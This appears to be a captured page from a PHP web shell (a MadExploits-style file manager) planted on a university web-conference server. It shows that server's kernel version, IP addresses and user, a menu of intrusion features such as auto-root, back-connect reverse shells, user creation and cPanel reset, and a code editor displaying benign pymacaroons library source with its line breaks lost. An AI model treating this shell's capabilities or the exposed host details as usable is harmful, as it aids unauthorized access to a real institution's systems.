Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.141.35.238
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
pymacaroons /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
binders
[ DIR ]
drwxr-xr-x
caveat_delegates
[ DIR ]
drwxr-xr-x
field_encryptors
[ DIR ]
drwxr-xr-x
serializers
[ DIR ]
drwxr-xr-x
__init__.py
391
B
-rw-r--r--
caveat.py
1.93
KB
-rw-r--r--
exceptions.py
488
B
-rw-r--r--
macaroon.py
4.84
KB
-rw-r--r--
utils.py
3.19
KB
-rw-r--r--
verifier.py
4.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : caveat.py
from base64 import standard_b64encode from pymacaroons.utils import convert_to_string, convert_to_bytes class Caveat(object): def __init__(self, caveat_id=None, verification_key_id=None, location=None, version=None): from pymacaroons.macaroon import MACAROON_V1 self.caveat_id = caveat_id self.verification_key_id = verification_key_id self.location = location if version is None: version = MACAROON_V1 self._version = version @property def caveat_id(self): from pymacaroons.macaroon import MACAROON_V1 if self._version == MACAROON_V1: return convert_to_string(self._caveat_id) return self._caveat_id @property def caveat_id_bytes(self): return self._caveat_id @property def verification_key_id(self): return self._verification_key_id @property def location(self): return convert_to_string(self._location) @caveat_id.setter def caveat_id(self, value): self._caveat_id = convert_to_bytes(value) @verification_key_id.setter def verification_key_id(self, value): self._verification_key_id = convert_to_bytes(value) @location.setter def location(self, value): self._location = convert_to_bytes(value) def first_party(self): return self._verification_key_id is None def third_party(self): return self._verification_key_id is not None def to_dict(self): try: cid = convert_to_string(self.caveat_id) except UnicodeEncodeError: cid = convert_to_string(standard_b64encode(self.caveat_id_bytes)) return { 'cid': cid, 'vid': ( standard_b64encode(self.verification_key_id) if self.verification_key_id else None ), 'cl': self.location }
Close